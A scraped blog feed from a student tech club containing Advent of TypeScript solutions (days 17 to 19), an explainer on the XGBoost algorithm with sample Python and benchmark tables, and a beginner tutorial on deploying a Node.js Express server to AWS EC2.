<p>TypeScript provides several <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/utility-types.html">utility types</a> that can be used to manipulate and transform types. These utility types can create new types from existing types and help simplify complex type definitions in common workflows!</p>
<p>Read about them, and even try implementing them yourself to better understand the power of the TypeScript ecosystem!</p>
<h3 id="heading-solution-16">Solution</h3>
<p>This day was a bit trickier than usual, as getting the types correct for the utility functions was an underestimated task. The final solution would look something like:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> compose =
  &lt;A, B, C, D&gt;(f: <span class="hljs-function">(<span class="hljs-params">x: A</span>) =&gt;</span> B, g: <span class="hljs-function">(<span class="hljs-params">x: B</span>) =&gt;</span> C, h: <span class="hljs-function">(<span class="hljs-params">x: C</span>) =&gt;</span> D) =&gt;
  (a: A): <span class="hljs-function"><span class="hljs-params">D</span> =&gt;</span>
    h(g(f(a)));

<span class="hljs-keyword">const</span> upperCase = &lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt;<span class="hljs-function">(<span class="hljs-params">x: T</span>) =&gt;</span> x.toUpperCase() <span class="hljs-keyword">as</span> Uppercase&lt;T&gt;;
<span class="hljs-keyword">const</span> lowerCase = &lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt;<span class="hljs-function">(<span class="hljs-params">x: T</span>) =&gt;</span> x.toLowerCase() <span class="hljs-keyword">as</span> Lowercase&lt;T&gt;;
<span class="hljs-keyword">const</span> firstChar = &lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt;<span class="hljs-function">(<span class="hljs-params">x: T</span>) =&gt;</span>
  x[<span class="hljs-number">0</span>] <span class="hljs-keyword">as</span> T <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer F}</span><span class="hljs-subst">${infer _}</span>`</span> ? F : <span class="hljs-built_in">never</span>;
<span class="hljs-keyword">const</span> firstItem = &lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>[]&gt;<span class="hljs-function">(<span class="hljs-params">x: T</span>) =&gt;</span> x[<span class="hljs-number">0</span>] <span class="hljs-keyword">as</span> T[<span class="hljs-number">0</span>];
<span class="hljs-keyword">const</span> makeTuple = &lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt;(x: T): [T] =&gt; [x];
<span class="hljs-keyword">const</span> makeBox = &lt;T&gt;(value: T): { value: T } =&gt; ({ value });
</code></pre>
<p>For the <code>compose</code> function, we make use of 4 type parameters, where <code>A</code> is the input type, <code>B</code> is the type of the first function's output, <code>C</code> is the type of the second function's output, and <code>D</code> is the final output type. Defining these variables allowed us to correctly constrain the signatures of the intermediate functions <code>f</code>, <code>g</code>, and <code>h</code>. We could also have used the TypeScipt utility type <code>ReturnType</code> to extract the return type and <code>Parameters</code> to extract the parameters of the functions, but the same was not required in this case.</p>
<p>To define the types of the utility functions, we make use of utility types such as <code>Lowercase</code> and <code>Uppercase</code>, along with typecasting with the <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#type-assertions">as</a> keyword to ensure that the return types are of the correct type. We also use template literal types to extract a string's first character and an array's first item.</p>
<hr />
<h2 id="heading-day-18httpswwwadventoftscomevents202418"><a target="_blank" href="https://www.adventofts.com/events/2024/18">Day 18</a></h2>
<p>TypeScript's type inference is a powerful feature, but sometimes's too powerful! You might need to make use of the <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/generics.html#generic-functions">NoInfer</a> utility type to prevent TypeScript from inferring the type of a function's argument sometimes!</p>
<h3 id="heading-solution-17">Solution</h3>
<p>Today's problem is perhaps the most elementary use of the <code>NoInfer</code> type:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> createStreetLight = &lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt;<span class="hljs-function">(<span class="hljs-params">colors: T[], defaultColor: NoInfer&lt;T&gt;</span>) =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(colors);
  <span class="hljs-keyword">return</span> defaultColor;
}
</code></pre>
<p>We want to provide a default color for the street light, but we don't want TypeScript to infer the type of the default color from the value of the <code>defaultColor</code> argument. Rather, it should try to infer it from either the <code>colors</code> array or the type provided explicitly and enforce that the <code>defaultColor</code> is the same type as the colors in the array. If we weren't to use the <code>NoInfer</code> type, TypeScript would infer the type of <code>defaultColor</code> as the type of the value passed to it, which opens up to type errors! A simple wrap of the <code>T</code> type with <code>NoInfer</code> ensures that TypeScript does not infer the type of the default color from the value passed to it.</p>
<hr />
<h2 id="heading-day-19httpswwwadventoftscomevents202419"><a target="_blank" href="https://www.adventofts.com/events/2024/19">Day 19</a></h2>
<p>Today's challenge might seem like a stretch, but it requires only simple template matching and some help from the <code>Trim</code> helpers we composed in the previous day's solutions! (Hint: Developing smaller types that parse one type of statement or remove extraneous characters might be a good approach to simplify the associated complexity!)</p>
<h3 id="heading-solution-18">Solution</h3>
<p>There are multiple ways of approaching the problem, but here is what I came up with:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> ParseVariableDeclaration&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = T <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${
  | <span class="hljs-string">"let"</span>
  | <span class="hljs-string">"const"</span>
  | <span class="hljs-string">"var"</span>}</span> <span class="hljs-subst">${infer Name}</span> = "<span class="hljs-subst">${infer Value}</span>"`</span>
  ? {
      id: Name;
      <span class="hljs-keyword">type</span>: <span class="hljs-string">"VariableDeclaration"</span>;
    }
  : <span class="hljs-built_in">never</span>;

<span class="hljs-keyword">type</span> ParseFunctionCall&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = T <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer _}</span>(<span class="hljs-subst">${infer Arg}</span>)`</span>
  ? {
      <span class="hljs-keyword">type</span>: <span class="hljs-string">"CallExpression"</span>;
      argument: Arg;
    }
  : <span class="hljs-built_in">never</span>;

<span class="hljs-keyword">type</span> ParseStatement&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; =
  S <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${<span class="hljs-string">"let"</span> | <span class="hljs-string">"const"</span> | <span class="hljs-string">"var"</span>}</span><span class="hljs-subst">${<span class="hljs-built_in">any</span>}</span>`</span>
    ? ParseVariableDeclaration&lt;S&gt;
    : ParseFunctionCall&lt;S&gt;;

<span class="hljs-keyword">type</span> TrimFront&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = S <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${<span class="hljs-string">" "</span> | <span class="hljs-string">"\t"</span> | <span class="hljs-string">"\n"</span>}</span><span class="hljs-subst">${infer Rest}</span>`</span>
  ? TrimFront&lt;Rest&gt;
  : S;

<span class="hljs-keyword">type</span> TrimBack&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = S <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer Rest}</span><span class="hljs-subst">${<span class="hljs-string">" "</span> | <span class="hljs-string">"\t"</span> | <span class="hljs-string">"\n"</span>}</span>`</span>
  ? TrimBack&lt;Rest&gt;
  : S;

<span class="hljs-keyword">type</span> Trim&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = TrimFront&lt;TrimBack&lt;S&gt;&gt;;

<span class="hljs-keyword">type</span> Parse&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; =
  Trim&lt;S&gt; <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer Stat}</span>;<span class="hljs-subst">${infer Rest}</span>`</span>
    ? [ParseStatement&lt;Stat&gt;, ...Parse&lt;Rest&gt;]
    : [];
</code></pre>
<p>The <code>ParseVariableDeclaration</code> and <code>ParseFunctionCall</code> are the most elementary types of statements our parser supports and use simple template matching to extract the required information. I was pretty satisfied with the use of <code>${"let" | "const" | "var"}</code> in the <code>ParseVariableDeclaration</code> type, as it helped me to condense the code and make it more readable.</p>
<p>The <code>ParseStatement</code> type is the main type that parses the provided string as a single statement. We just check if the statement begins with either of <code>var</code>, <code>let</code> or <code>const</code> and then parse it as a variable declaration, else we parse it as a function call. The <code>TrimFront</code> and <code>TrimBack</code> are simple utilities that remove whitespaces, tabs, and newlines from the front and the end of the provided type string, and <code>Trim</code> works as a wrapper around both of them.</p>
<p>Finally, the <code>Parse</code> type is the main type that parses the provided string as a series of statements. We use the <code>;</code> character as a delimiter to split the string into individual statements and then parse each statement using the <code>ParseStatement</code> type. The result is an array of parsed statements, and basic recursion is used to complete the job!</p>
]]></content:encoded></item><item><title><![CDATA[Rise of XG Boost : Tree Trimming Tales]]></title><description><![CDATA[The world of Machine Learning has been developing for quite some time now , but one of the major breakthroughs in this dynamic field was the invention of XGBoost . The birth of Gradient boosting took place in 1999-2000 which starting the chain reacti...]]></description><link>https://blogs.copsiitbhu.co.in/rise-of-xg-boost-tree-trimming-tales</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/rise-of-xg-boost-tree-trimming-tales</guid><category><![CDATA[Xgboost]]></category><category><![CDATA[Machine Learning]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[Parth]]></dc:creator><pubDate>Tue, 17 Dec 2024 06:24:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728578533954/13605709-dcfe-4f83-960a-b37423b25161.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The world of Machine Learning has been developing for quite some time now , but one of the major breakthroughs in this dynamic field was the invention of XGBoost . The birth of Gradient boosting took place in 1999-2000 which starting the chain reaction of research in ML algorithms , which almost peaked in 2014 when the XGBoost Algorithm was first introduced.</p>
<p>XGBoost which stands for eXtreme Gradient Boost is an enhancement of the Gradient Boosting algorithms with different techniques.</p>
<h2 id="heading-what-has-xgboost-done">What has XGBoost done ?</h2>
<p>XGBoost is the king of performance . It has become the go to Algorithm used by Data Scientists and ML enthusiasts for any large data processing and prediction . It is not only designed for Prediction but can also be modelled to classification.</p>
<p>It has been used extensively in Kaggle competitions and Hackathons . XGBoost has been used in a large proportion of winning solutions in competitions. Its efficiency and ability to handle large datasets with high performance have made it a favorite choice for data scientists aiming for top rankings.</p>
<p>Since it works very well on large ordered data it’s used very widely in industry uses such as fraud detection , recommender system etc. It’s way more explainable n reversible than neural networks . It gives you full control over the hyperparameters and the hyperparameter is rather logical due to the high explainability .</p>
<p>The XGBoost framework is also highly optimized with it’s <strong>parallelized tree construction</strong> and optimized memory usage make it highly scalable , decreasing training time while maintaining the same accuracy.</p>
<h2 id="heading-xgboost-workflow-and-its-intuition">XGBoost workflow and it’s intuition</h2>
<p>XGBoost works in a way of modified Gradient Boosting .</p>
<h3 id="heading-understanding-gradient-boosting">Understanding Gradient Boosting</h3>
<p>Let's first understand how gradient boosting works:</p>
<ol>
<li><p><strong>Build a base model</strong><br /> We start by building a base model that gives us initial predictions.</p>
</li>
<li><p><strong>Calculate residuals (errors)</strong><br /> Using the base model, we make predictions and compute the residuals (errors) based on those predictions.</p>
</li>
<li><p><strong>Assign higher weights to errors</strong><br /> The model assigns higher weights to predictions with larger errors, forcing the model to focus on correcting the predictions with the highest errors in the current iteration.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728308900070/bbe5198a-ee59-4a00-ba05-04ab69a76e32.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>Build a decision tree</strong><br /> Using the residuals and the assigned weights, we construct a decision tree (or regression tree). This tree attempts to correct the errors from the previous model.</p>
</li>
<li><p><strong>Update the base model</strong><br /> Multiply the predictions from the decision tree by a constant <strong>learning rate</strong> and add them to the predictions of the base model.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728309403369/01832e31-3293-410e-98cf-238ad4680400.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>Repeat the process</strong><br /> The process is repeated iteratively, improving the model by correcting errors at each step.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728243203431/19c90b28-99b3-43e9-9d11-0eda5a7adbc0.png" alt class="image--center mx-auto" /></p>
<p>The intuition behind this process is to first create a weak learner , then create a learner which is at least as good as the previous learner but takes in accounts the errors made by the previous learner and now train itself to accommodate those errors.</p>
<p>This process in itself is very accurate and has high predictability but now let’s have a look as to how XGBoost further puts the X factor in this technique .</p>
<p><strong>Building unique regression or classification trees :</strong></p>
<p>In XGBoost we create much more particular and unique trees and prune them for regularization . We create similarity scores for different residuals and make branches based on the thresholds which give us higher similarity scores . Then we use our regularization parameters to prune those branches of the decision trees which are giving very high gain in similarity scores . These high similarity scores are a result of overfitting and tree pruning reduces this overfitting.</p>
<p>Mathematically the tree is build to reduce this function , the first part is the chosen loss function and the other part is what regularizes the tree ,</p>
<p>$$\mathcal{L}(\phi) = \sum_i l(\hat{y}_i, y_i) + \sum_k \Omega(f_k)$$</p><p>$$\text{where } \Omega(f) = \gamma T + \frac{1}{2} \lambda \|w\|^2$$</p><p><strong>Greedy Splitting :</strong></p>
<p>The tree splitting is governed exactly by a greedy approach . However there is still scope of optimization , exact greedy algorithm is difficult due it’s high memory complexity , so when working with larger data sets we use an Approximate Greedy Algorithm that reduces the memory complexity while still having a decent accuracy.</p>
<p><strong>Weighted Quantile Sketch :</strong></p>
<p>In XGBoost, the <strong>weighted quantile sketch</strong> algorithm is a specialized technique used to handle feature quantiles when building decision trees, especially for sparse or weighted datasets. Its main purpose is to efficiently find approximate split points (thresholds) in large datasets for decision tree nodes while considering the importance (weight) of data points. This algorithm is particularly useful when working with distributed data or data with imbalanced or weighted samples.</p>
<p><strong>Sparsity-Aware Finding :</strong></p>
<p>In many real life data sets we have missing values , To cater to this problem XGBoost adds a default direction for each node which is followed when a sparse point is encountered.</p>
<h3 id="heading-system-design-for-xgboost">System design for XGBoost</h3>
<p>XGBoost stores the information in a block based fashion , this helps in parallelizing the process .<br />Another optimization for split finding is Cache awareness Access .It is about structuring memory operations and data layout in such a way that it maximizes the use of the CPU cache, minimizing expensive memory accesses.</p>
<h2 id="heading-plug-and-play-power-of-xgboost">Plug and Play Power of XGBoost</h2>
<p>XGBoost is not fancy thing but it’s rather simple to implement and understand . We will have a look at it’s Plug and Play Power through an example.</p>
<p>Let’s consider an example of predicting house prices based on various features. Here’s how you can train an XGBoost regression model:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> xgboost <span class="hljs-keyword">as</span> xgb
<span class="hljs-keyword">from</span> sklearn.model_selection <span class="hljs-keyword">import</span> train_test_split
<span class="hljs-keyword">from</span> sklearn.metrics <span class="hljs-keyword">import</span> mean_squared_error

<span class="hljs-comment"># Load your dataset (X and y)</span>
X, y = load_dataset()

<span class="hljs-comment"># Split the data into training and testing sets</span>
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=<span class="hljs-number">0.2</span>, random_state=<span class="hljs-number">42</span>)

<span class="hljs-comment"># Create DMatrix for XGBoost</span>
dtrain = xgb.DMatrix(X_train, label=y_train)
dtest = xgb.DMatrix(X_test, label=y_test)

<span class="hljs-comment"># Define the parameters for XGBoost</span>
params = {
    <span class="hljs-string">'objective'</span>: <span class="hljs-string">'reg:squarederror'</span>,
    <span class="hljs-string">'eval_metric'</span>: <span class="hljs-string">'rmse'</span>,
    <span class="hljs-string">'max_depth'</span>: <span class="hljs-number">5</span>,
    <span class="hljs-string">'eta'</span>: <span class="hljs-number">0.1</span>,
    <span class="hljs-string">'subsample'</span>: <span class="hljs-number">0.8</span>,
    <span class="hljs-string">'colsample_bytree'</span>: <span class="hljs-number">0.8</span>
    <span class="hljs-string">'gamma'</span> : <span class="hljs-number">2</span>
}

<span class="hljs-comment"># Train the XGBoost model</span>
num_rounds = <span class="hljs-number">100</span>
model = xgb.train(params, dtrain, num_rounds)

<span class="hljs-comment"># Make predictions on the test set</span>
y_pred = model.predict(dtest)

<span class="hljs-comment"># Evaluate the model</span>
mse = mean_squared_error(y_test, y_pred)
print(<span class="hljs-string">"Mean Squared Error:"</span>, mse)
</code></pre>
<p>One can see how minimal efforts are required to implement this algorithm and the tuning is also rather fast and straight forward.</p>
<p>As you can see the xgboost framework gives you complete control over the hyperparameters . Due to the high explainability of XGBoost it’s very logical to tune these hyper parameters , for instance max_depth denotes the maximum depth of tree we know that the deeper the tree is the better it captures the particular data but leads to overfitting on the other hand if you build a tree too small it would not give any useful splits . So we can intuitively think that the best max_depth would be a value not too big and not too small , and it’s graph with respect to error would give us a U shaped graph which will have a minima somewhere in the middle .</p>
<h2 id="heading-comparison-metric">Comparison metric</h2>
<p>XGBoost outperforms other models in a lot of scenarios . We would take a particular study( <a target="_blank" href="https://icrepq.com/icrepq23/334-23-garcia.pdf">link</a> ) in which different machine learning algorithms have been applied to predict the behavior of the wind and, consequently, the produced power. The wind features studied here are the active power generated by the turbine, the wind speed, and the wind direction.</p>
<p>The forecasting algorithms used are gradient boosting (XGBoost), Support Vector Regression (SVR), Gaussian Process Regression (GPR) and neural networks (NN) models, being the best results for the chosen features obtained with XGBoost. That is, XGBoost is a good tool for forecasting.</p>
<p>Following are the metrics of the comparison</p>
<h4 id="heading-table-1-comparison-between-the-algorithms-results-for-active-power">Table 1: Comparison between the algorithms results for Active Power</h4>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Algorithm</td><td>Best RMSE</td><td>R2</td></tr>
</thead>
<tbody>
<tr>
<td>XGBoost</td><td><strong>482.4018</strong></td><td><strong>0.8646</strong></td></tr>
<tr>
<td>GPR</td><td>487.8276</td><td>0.8616</td></tr>
<tr>
<td>SVR</td><td>497.8148</td><td>0.8558</td></tr>
<tr>
<td>MLP</td><td>529.3002</td><td>0.837</td></tr>
</tbody>
</table>
</div><h4 id="heading-table-2-comparison-between-the-algorithms-results-for-wind-speed">Table 2: Comparison between the algorithms results for Wind Speed</h4>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Algorithm</td><td>Best RMSE</td><td>R2</td></tr>
</thead>
<tbody>
<tr>
<td>XGBoost</td><td><strong>1.4363</strong></td><td><strong>0.8655</strong></td></tr>
<tr>
<td>GPR</td><td>1.4402</td><td>0.8648</td></tr>
<tr>
<td>SVR</td><td>1.4907</td><td>0.8551</td></tr>
<tr>
<td>MLP</td><td>1.6242</td><td>0.8281</td></tr>
</tbody>
</table>
</div><h4 id="heading-table-3-comparison-between-the-algorithms-results-for-wind-direction">Table 3: Comparison between the algorithms results for Wind Direction</h4>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Algorithm</td><td>Best RMSE</td><td>R2</td></tr>
</thead>
<tbody>
<tr>
<td>XGBoost</td><td><strong>44.3778</strong></td><td><strong>0.7266</strong></td></tr>
<tr>
<td>GPR</td><td>45.8228</td><td>0.7085</td></tr>
<tr>
<td>SVR</td><td>46.9885</td><td>0.6939</td></tr>
<tr>
<td>MLP</td><td>46.9521</td><td>0.6939</td></tr>
</tbody>
</table>
</div><h2 id="heading-conclusion">Conclusion</h2>
<p>We saw the workflow of an XGBoost algorithm and can claim the high explainibility of the algorithm and in turn just see that why it works so well . XGBoost caters to all the problems the original gradient boosting had by some crazy cool optimizations .</p>
<p>It has revolutionized the field of ML and Data Science , and has become everyone’s go to algorithm . Even after so much research in such large models XGBoost outperforms most of them due to it’s optimised and clever approach.</p>
<p>For further readings you can try ,</p>
<ul>
<li><p><a target="_blank" href="https://arxiv.org/pdf/1603.02754">https://arxiv.org/pdf/1603.02754</a> For the in depth math and optimisations of the algorithm.</p>
</li>
<li><p><a target="_blank" href="https://www.kaggle.com/code/dansbecker/xgboost">https://www.kaggle.com/code/dansbecker/xgboost</a> To have a look on the practical coding and tuning aspects of algorithm.</p>
</li>
<li><p><a target="_blank" href="https://xgboost.readthedocs.io/en/latest/">https://xgboost.readthedocs.io/en/latest/</a> The XGBoost docs , this one just seems obvious for random look ups.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Introduction to Cloud Computing]]></title><description><![CDATA[Cloud computing is a transformative technology that allows businesses and developers to build, deploy, and manage applications through virtualized environments offered by cloud providers. Cloud development focuses on leveraging cloud infrastructure t...]]></description><link>https://blogs.copsiitbhu.co.in/introduction-to-cloud-computing</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/introduction-to-cloud-computing</guid><category><![CDATA[AWS]]></category><category><![CDATA[aws lambda]]></category><category><![CDATA[GCP]]></category><category><![CDATA[Devops]]></category><category><![CDATA[serverless]]></category><category><![CDATA[serverless computing]]></category><category><![CDATA[backend]]></category><dc:creator><![CDATA[Aayush Khanna]]></dc:creator><pubDate>Wed, 11 Dec 2024 17:49:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733938570302/15505fad-2747-46d5-8a29-7658e97ea30d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cloud computing is a transformative technology that allows businesses and developers to build, deploy, and manage applications through virtualized environments offered by cloud providers. Cloud development focuses on leveraging cloud infrastructure to run and manage applications. This shift from traditional on-premises infrastructure to the cloud enables more dynamic, scalable, and flexible development. It’s key features are:</p>
<p>1. Scalability: Cloud platforms allow developers to scale resources up or down automatically or manually based on demand, ensuring that applications can handle varying loads without over provisioning.</p>
<p>2. Flexibility: Cloud services offer a broad selection of tools and environments for building apps in any programming language, framework, or platform, making it easier to adapt to evolving project needs.</p>
<p>3. Cost-efficiency: The pay-as-you-go pricing model ensures that developers only pay for the resources they actually use, reducing waste and enabling more efficient cost management.</p>
<p>4. Global Accessibility: Applications deployed in the cloud can be accessed globally, enabling organizations to serve customers from multiple regions without worrying about local server infrastructure.</p>
<h2 id="heading-common-cloud-providers-are">Common Cloud Providers are:</h2>
<p>1. <strong>Amazon Web Services (AWS):</strong> Offers a comprehensive range of cloud services like computing power, storage, machine learning, and analytics.</p>
<p>2. <strong>Microsoft Azure:</strong> A cloud computing service with solutions that span AI, machine learning, IoT, and DevOps.</p>
<p>3. <strong>Google Cloud Platform (GCP):</strong> Known for its powerful data analytics, machine learning tools, and developer-friendly services.</p>
<hr />
<p>We’ll introduce you to the Cloud with a simple exercise! The task is to deploy a Node.js HTTP Server on AWS so that everyone can send requests to it instead of it just running locally on your device. Trust me, you don’t want to be the type of guy that sends http://localhost:3000 when asked to share the link of your project!</p>
<h2 id="heading-what-is-a-server">What is a server?</h2>
<p>A server is a computer or software system that provides resources, data, services, or programs to other computers, known as clients, over a network. Servers can perform various roles, such as hosting websites, managing databases, running applications, or providing email services. In the context of web development, for example, a server is responsible for receiving client requests (e.g., from a browser), processing them, and sending back responses like HTML pages or data in formats such as JSON.</p>
<p>We will now learn how to host a <strong>Node.js HTTP</strong> server on <strong>AWS EC2</strong>. Note that for this you need to make an AWS account which requires you to put your credit card info. The service that we’ll be using will be free for over a year for our learning purposes.</p>
<p><strong>Step 1</strong>: login to your <strong>AWS console</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733919352712/9108fe88-c45a-4267-a328-af6800fdb39e.png" alt class="image--center mx-auto" /></p>
<p>You may see a screen like this, <strong>make sure that your region is set to mumbai on the top right corner.</strong></p>
<p><strong>Step 2:</strong> Click on services on the top right corner -&gt; <strong>Compute</strong> -&gt; <strong>EC2</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733919407437/cd2d65f5-61a7-4d1d-93a0-38e98f66a3b9.png" alt class="image--center mx-auto" /></p>
<p><strong>EC2</strong> stands for <strong>Elastic Compute 2</strong> here, this helps us get a Virtual Machine in the Cloud where we can host our Node.js HTTP server</p>
<p><strong>Step 3</strong>: Launch an instance by clicking on the launch instance button</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733919476334/b7ef42a0-9117-4dda-b341-4551239661ed.png" alt class="image--center mx-auto" /></p>
<p><strong>Step 4:</strong> You will see a menu like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733919513909/01db6ee9-736e-4cf2-8e9e-3612b7644cbf.png" alt class="image--center mx-auto" /></p>
<p>Name your instance whatever you like and select Amazon Machine Image to be <strong>Ubuntu</strong> for now. The Amazon Machine Image helps you select what Operating System will your Virtual Machine run on.</p>
<p><strong>Step 5</strong>: on scrolling below, you will see a menu like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733919725163/0aa2ef3b-5278-4060-8580-0be11b402ae0.png" alt class="image--center mx-auto" /></p>
<p>There are many <strong>Amazon Machine Image</strong> families such as <strong>t2</strong>, <strong>t3</strong>, <strong>c5</strong> these represent virtual machines of various hardware configurations which are applicable for various use cases but we’ll go ahead with <strong>t2.micro</strong> for the sake of simplicity because we don’t need that much hardware.</p>
<p><strong>Step 6</strong>: on scrolling below, you will see a menu like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733919916650/f56419da-7f6f-4b10-a027-08067e13dbc0.png" alt class="image--center mx-auto" /></p>
<p>Key Pair logins are there for us to SSH into our instance so that we can access it remotely from the browser but for now we can use the AWS console to use our instance via web. <strong>Note: If in the future you make a key to SSH into your server it should not be shared with anyone for security purposes!</strong></p>
<p><strong>Step 7</strong>: on scrolling below, you will see a menu like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733920095643/400c0782-643a-4a91-a843-5b78cb1ed582.png" alt class="image--center mx-auto" /></p>
<p>We will allow traffic from anywhere for simplicity’s sake but in a <strong>real world scenario</strong> this is configured properly to accommodate the <strong>static IP</strong> of an organization for <strong>security purposes.</strong></p>
<p><strong>Step 8:</strong> launch the instance without the key pair for now since we’ll only be accessing the Instance through web via <strong>EC2 Instance connect</strong> for now, note that this is NOT how things work in Real World Production Scenarios this is just done to demonstrate an exercise.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733920324160/b96f6cb0-f9e5-46dc-b13c-a5141deeb539.png" alt class="image--center mx-auto" /></p>
<p><strong>Step 9:</strong> you will then see a page like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733920468614/b834f616-bf6e-4d15-a5b8-6053710a07bb.png" alt class="image--center mx-auto" /></p>
<p>Choose the connect to your instance option here</p>
<p><strong>Step 10:</strong> Connect to the instance using <strong>EC2 instance connect.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733920592933/7edc0554-d1f3-4e4c-8f56-d654b3e0a6de.png" alt class="image--center mx-auto" /></p>
<p><strong>Step 11:</strong> You will see a terminal like this, this is where the importance of knowing how to navigate a terminal and basic Linux comes in handy for Cloud Computing.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733920722013/4eab16b8-eac5-47f0-86e8-7bbb001fb5d8.png" alt class="image--center mx-auto" /></p>
<p>The cloud is predominantly powered by Linux because of its open-source nature, flexibility, and scalability. Linux's ability to handle diverse workloads efficiently makes it ideal for cloud infrastructure. Major cloud providers like AWS, Google Cloud, and Azure rely on Linux for its robust security, cost-effectiveness, and extensive developer community, which ensures continuous innovation and reliability in cloud environments.</p>
<p><strong>Git</strong> Comes installed by default in <strong>Ubuntu Instance</strong>, use it to download the source code for our HTTP server locally via:</p>
<pre><code class="lang-bash">$ git <span class="hljs-built_in">clone</span> https://github.com/aayush0325/aws-test-server.git
$ <span class="hljs-built_in">cd</span> aws-test-server
$ ls
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733920913288/a2feba4e-2402-449d-af34-014e8b9268bc.png" alt class="image--center mx-auto" /></p>
<p>You can see that we have the basic source code installed in our instance, however we need to install <strong>Node.js</strong> and <strong>npm</strong> in our instance to be able to run this code.</p>
<p>For that run:</p>
<pre><code class="lang-bash">$ sudo apt update
$ sudo apt install nodejs <span class="hljs-comment">#press Y when prompted</span>
$ sudo apt install npm <span class="hljs-comment">#press Y when prompted</span>
</code></pre>
<p>To check whether the <strong>Node.js</strong> and <strong>npm</strong> has installed correctly run:</p>
<pre><code class="lang-bash">$ node -v
$ npm -v
</code></pre>
<p>This should list the versions of <strong>npm</strong> and <strong>Node.js</strong> installed. If it gives an error please recheck the installation process.</p>
<p>To download the dependencies run:</p>
<pre><code class="lang-bash">$ npm install
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733923299499/92055c40-747b-4ca6-b922-76e6aa23ffbf.png" alt class="image--center mx-auto" /></p>
<p>Now Start the server by running:</p>
<pre><code class="lang-bash">$ node index.js
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733923356335/a7c5edf8-16aa-47a6-beed-314149a4d735.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-javascript"><span class="hljs-comment">/* index.js - 
    this code is already written in the repository that you cloned feel free to go through
    https://expressjs.com/ and play around with this
*/</span> 

<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);

<span class="hljs-keyword">const</span> app = express();

app.get(<span class="hljs-string">'/'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.json({
    <span class="hljs-attr">message</span>: <span class="hljs-string">"Hello from AWS!"</span>
  })
})

app.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Listening to port 3000'</span>))
</code></pre>
<p>This starts the server which is listening to the port 3000 of our Virtual Machine for requests, to access this we should navigate to <code>http://&lt;PUBLIC_IP_OF_INSTANCE&gt;:3000</code> (see bottom right of the previous image).</p>
